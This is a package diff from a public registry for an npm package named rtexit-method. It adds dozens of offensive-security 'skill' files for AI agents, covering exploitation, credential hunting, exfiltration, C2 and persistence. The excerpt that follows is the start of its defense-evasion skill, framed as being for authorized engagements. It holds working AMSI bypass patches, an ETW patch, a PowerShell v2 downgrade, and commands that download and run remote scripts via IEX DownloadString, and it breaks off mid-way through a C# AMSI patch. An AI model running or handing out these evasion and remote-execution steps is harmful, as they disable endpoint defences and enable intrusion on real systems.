rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,987 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-defense-evasion
|
|
3
|
+
description: "Defense evasion skill for authorized engagements. AMSI bypass one-liners for PowerShell, Windows Defender exclusion addition, PowerShell execution policy bypass, log clearing (Windows Event Log and Linux auth.log), timestomping with touch, LOLBAS/GTFOBins living-off-the-land, process injection concepts, and obfuscation techniques. Focused on documented techniques for engagement documentation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-defense-evasion
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Defense evasion covers the techniques an operator uses to avoid detection by security controls — endpoint detection and response (EDR), antivirus (AV), SIEM rules, and human analysts — during an authorized red team engagement. It is not a single step in the kill chain; it runs in parallel with every other phase.
|
|
11
|
+
|
|
12
|
+
This skill covers:
|
|
13
|
+
|
|
14
|
+
- AMSI bypass to neutralize PowerShell script-block logging and AV scanning hooks
|
|
15
|
+
- Windows Defender exclusion manipulation
|
|
16
|
+
- PowerShell execution policy bypass
|
|
17
|
+
- Windows Event Log and Linux auth.log clearing
|
|
18
|
+
- Timestomping (file metadata manipulation)
|
|
19
|
+
- Living-off-the-land (LOLBAS on Windows, GTFOBins on Linux)
|
|
20
|
+
- Process injection concepts and shellcode staging
|
|
21
|
+
- Obfuscation — string, base64, invoke-obfuscation, Chameleon
|
|
22
|
+
|
|
23
|
+
**Authorization requirement:** All techniques documented here are for use inside a written, signed rules-of-engagement (ROE). Running these against systems you do not own or lack written permission to test is illegal.
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## When to Use
|
|
28
|
+
|
|
29
|
+
| Scenario | Relevant Techniques |
|
|
30
|
+
|---|---|
|
|
31
|
+
| Initial access via phishing or exploit, need to run PowerShell payload | AMSI bypass, execution policy bypass |
|
|
32
|
+
| Establish persistence without triggering AV | Defender exclusion, LOLBAS |
|
|
33
|
+
| Move laterally without noisy tooling | GTFOBins, LOLBAS, process injection |
|
|
34
|
+
| Cover tracks before exfil or after objective achieved | Log clearing, timestomping |
|
|
35
|
+
| Deliver shellcode past EDR | Process injection, obfuscation |
|
|
36
|
+
| Emulate APT tradecraft for purple team | Full evasion chain |
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## Prerequisites and Tool Setup
|
|
41
|
+
|
|
42
|
+
### Operator Machine (Kali Linux)
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# Update and install core dependencies
|
|
46
|
+
sudo apt update && sudo apt upgrade -y
|
|
47
|
+
|
|
48
|
+
# PowerShell on Kali (for cross-platform testing)
|
|
49
|
+
sudo apt install -y powershell
|
|
50
|
+
|
|
51
|
+
# Python tooling
|
|
52
|
+
sudo apt install -y python3 python3-pip
|
|
53
|
+
|
|
54
|
+
# Wine (to test Windows binaries locally)
|
|
55
|
+
sudo apt install -y wine
|
|
56
|
+
|
|
57
|
+
# Impacket suite (log parsing, SMB, etc.)
|
|
58
|
+
pip3 install impacket
|
|
59
|
+
|
|
60
|
+
# Evil-WinRM (PowerShell remoting over WinRM)
|
|
61
|
+
sudo gem install evil-winrm
|
|
62
|
+
|
|
63
|
+
# CrackMapExec
|
|
64
|
+
sudo apt install -y crackmapexec
|
|
65
|
+
|
|
66
|
+
# Invoke-Obfuscation (PowerShell module — clone to operator box)
|
|
67
|
+
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git ~/tools/Invoke-Obfuscation
|
|
68
|
+
|
|
69
|
+
# Chameleon (Python-based PowerShell obfuscator)
|
|
70
|
+
git clone https://github.com/klezVirus/chameleon.git ~/tools/chameleon
|
|
71
|
+
cd ~/tools/chameleon && pip3 install -r requirements.txt
|
|
72
|
+
|
|
73
|
+
# AMSI Bypass collection
|
|
74
|
+
git clone https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git ~/tools/amsi-bypass
|
|
75
|
+
|
|
76
|
+
# Donut (shellcode generator from .NET assemblies)
|
|
77
|
+
git clone https://github.com/TheWover/donut.git ~/tools/donut
|
|
78
|
+
cd ~/tools/donut && make
|
|
79
|
+
|
|
80
|
+
# ScareCrow (EDR-aware shellcode loader generator)
|
|
81
|
+
# Requires Go
|
|
82
|
+
sudo apt install -y golang
|
|
83
|
+
git clone https://github.com/optiv/ScareCrow.git ~/tools/ScareCrow
|
|
84
|
+
cd ~/tools/ScareCrow && go build ScareCrow.go
|
|
85
|
+
|
|
86
|
+
# PEzor (PE packer / shellcode injector)
|
|
87
|
+
git clone https://github.com/phra/PEzor.git ~/tools/PEzor
|
|
88
|
+
cd ~/tools/PEzor && bash install.sh
|
|
89
|
+
|
|
90
|
+
# LOLBAS reference (offline copy)
|
|
91
|
+
git clone https://github.com/LOLBAS-Project/LOLBAS.git ~/tools/LOLBAS
|
|
92
|
+
|
|
93
|
+
# GTFOBins reference
|
|
94
|
+
git clone https://github.com/GTFOBins/GTFOBins.github.io.git ~/tools/GTFOBins
|
|
95
|
+
|
|
96
|
+
# timestomp equivalent on Linux (touch is built-in; for Windows artifacts)
|
|
97
|
+
sudo apt install -y libewf-dev # for forensic timestamp analysis
|
|
98
|
+
|
|
99
|
+
# Nishang (PowerShell offensive framework)
|
|
100
|
+
git clone https://github.com/samratashok/nishang.git ~/tools/nishang
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### Target Environment Assumptions
|
|
104
|
+
|
|
105
|
+
- Windows 10/11 or Windows Server 2019/2022 target
|
|
106
|
+
- PowerShell 5.1 or 7.x available
|
|
107
|
+
- Operator has at least local user or SYSTEM shell
|
|
108
|
+
- Linux targets running Ubuntu/Debian or RHEL family
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## Skill Levels
|
|
113
|
+
|
|
114
|
+
### BEGINNER
|
|
115
|
+
|
|
116
|
+
Core concepts: execution policy bypass, simple AMSI patches, basic log clearing.
|
|
117
|
+
|
|
118
|
+
Suitable for: operators who have an interactive shell and need to run unsigned scripts without triggering basic controls.
|
|
119
|
+
|
|
120
|
+
### INTERMEDIATE
|
|
121
|
+
|
|
122
|
+
Obfuscation, Defender exclusion manipulation, LOLBAS execution, timestomping.
|
|
123
|
+
|
|
124
|
+
Suitable for: operators who have defeated initial AV but face EDR behavioral rules.
|
|
125
|
+
|
|
126
|
+
### ADVANCED
|
|
127
|
+
|
|
128
|
+
Process injection, shellcode staging, memory-only payloads, ETW patching.
|
|
129
|
+
|
|
130
|
+
Suitable for: operators facing mature EDR (CrowdStrike Falcon, SentinelOne, Carbon Black).
|
|
131
|
+
|
|
132
|
+
### EXPERT
|
|
133
|
+
|
|
134
|
+
Custom loaders, unhooking ntdll, direct syscalls, bring-your-own-vulnerable-driver (BYOVD), sleep obfuscation.
|
|
135
|
+
|
|
136
|
+
Suitable for: operators against fully-instrumented enterprise with MDR/XDR and threat hunting team.
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## Techniques Reference
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
### 1. PowerShell Execution Policy Bypass
|
|
145
|
+
|
|
146
|
+
Execution policy is not a security boundary — it is a convenience setting. Multiple bypasses exist.
|
|
147
|
+
|
|
148
|
+
```powershell
|
|
149
|
+
# Method 1 — bypass flag (most common, logged but permitted)
|
|
150
|
+
powershell.exe -ExecutionPolicy Bypass -File script.ps1
|
|
151
|
+
|
|
152
|
+
# Method 2 — encoded command
|
|
153
|
+
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/payload.ps1")'
|
|
154
|
+
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
|
|
155
|
+
$b64 = [Convert]::ToBase64String($bytes)
|
|
156
|
+
powershell.exe -EncodedCommand $b64
|
|
157
|
+
|
|
158
|
+
# Method 3 — Set-ExecutionPolicy in process scope (no admin required)
|
|
159
|
+
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
|
|
160
|
+
|
|
161
|
+
# Method 4 — dot-source from stdin
|
|
162
|
+
Get-Content script.ps1 | PowerShell.exe -NoProfile -
|
|
163
|
+
|
|
164
|
+
# Method 5 — via cmd.exe
|
|
165
|
+
cmd /c "echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/run.ps1') | powershell -"
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
**OPSEC note:** `-ExecutionPolicy Bypass` is logged in event ID 4103/4104 if script block logging is enabled. Prefer encoded command or stdin piping when logging is suspected.
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
### 2. AMSI Bypass
|
|
173
|
+
|
|
174
|
+
AMSI (Antimalware Scan Interface) hooks into PowerShell, .NET, and other runtimes and passes script content to the registered AV engine before execution.
|
|
175
|
+
|
|
176
|
+
#### 2a. One-liner Memory Patch (PowerShell — BEGINNER)
|
|
177
|
+
|
|
178
|
+
```powershell
|
|
179
|
+
# Classic AmsiScanBuffer patch — sets the scan return to AMSI_RESULT_CLEAN
|
|
180
|
+
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | ForEach-Object {
|
|
181
|
+
$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
|
182
|
+
}
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
```powershell
|
|
186
|
+
# Alternative — direct byte patch via reflection (works on PS 5.1)
|
|
187
|
+
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
|
|
188
|
+
$b=$a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')
|
|
189
|
+
$c=$b.GetValue($null)
|
|
190
|
+
[IntPtr]$ptr=$c
|
|
191
|
+
$buf=[byte[]]@(0xB8,0x57,0x00,0x07,0x80,0xC3)
|
|
192
|
+
$old=0
|
|
193
|
+
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,6)
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
#### 2b. String-Split Obfuscated Bypass (BEGINNER — avoids signature on the string itself)
|
|
197
|
+
|
|
198
|
+
```powershell
|
|
199
|
+
$x = 'Amsi'+'Utils'
|
|
200
|
+
$y = 'amsi'+'InitFailed'
|
|
201
|
+
[Ref].Assembly.GetType('System.Management.Automation.'+$x).GetField($y,'NonPublic,Static').SetValue($null,$true)
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
#### 2c. Chameleon-Obfuscated Bypass (INTERMEDIATE)
|
|
205
|
+
|
|
206
|
+
```bash
|
|
207
|
+
# On Kali — generate obfuscated bypass
|
|
208
|
+
cd ~/tools/chameleon
|
|
209
|
+
python3 chameleon.py -i amsi_bypass.ps1 -o obfuscated_bypass.ps1 -t powershell
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
#### 2d. PowerShell Downgrade to v2 (BEGINNER — v2 has no AMSI)
|
|
213
|
+
|
|
214
|
+
```powershell
|
|
215
|
+
# Check if v2 engine is available
|
|
216
|
+
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
|
|
217
|
+
|
|
218
|
+
# Launch v2 (no AMSI, no script block logging)
|
|
219
|
+
powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
**Detection note:** PowerShell v2 usage is highly anomalous and detected by most SIEMs via event ID 400 engine version field.
|
|
223
|
+
|
|
224
|
+
#### 2e. ETW Patch (ADVANCED — disables event tracing)
|
|
225
|
+
|
|
226
|
+
```powershell
|
|
227
|
+
# Patch EtwEventWrite to return immediately — suppresses PowerShell telemetry
|
|
228
|
+
$patch = [byte[]] (0xc3)
|
|
229
|
+
$etw = [System.Diagnostics.Eventing.EventProvider]
|
|
230
|
+
$field = $etw.GetField('m_etwCallback', 'NonPublic,Instance')
|
|
231
|
+
# Full implementation: patch ntdll!EtwEventWrite via VirtualProtect
|
|
232
|
+
# See: https://github.com/byt3bl33d3r/OffensiveDLR
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
#### 2f. AMSI bypass via .NET Reflection for C# Implant (ADVANCED)
|
|
236
|
+
|
|
237
|
+
```csharp
|
|
238
|
+
// In a C# loader — patch AmsiScanBuffer at runtime before loading managed assembly
|
|
239
|
+
using System;
|
|
240
|
+
using System.Runtime.InteropServices;
|
|
241
|
+
|
|
242
|
+
[DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string proc);
|
|
243
|
+
[DllImport("kernel32")] static extern IntPtr LoadLibrary(string lib);
|
|
244
|
+
[DllImport("kernel32")] static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint prot, out uint old);
|
|
245
|
+
|
|
246
|
+
static void PatchAmsi() {
|
|
247
|
+
IntPtr lib = LoadLibrary("amsi.dll");
|
|
248
|
+
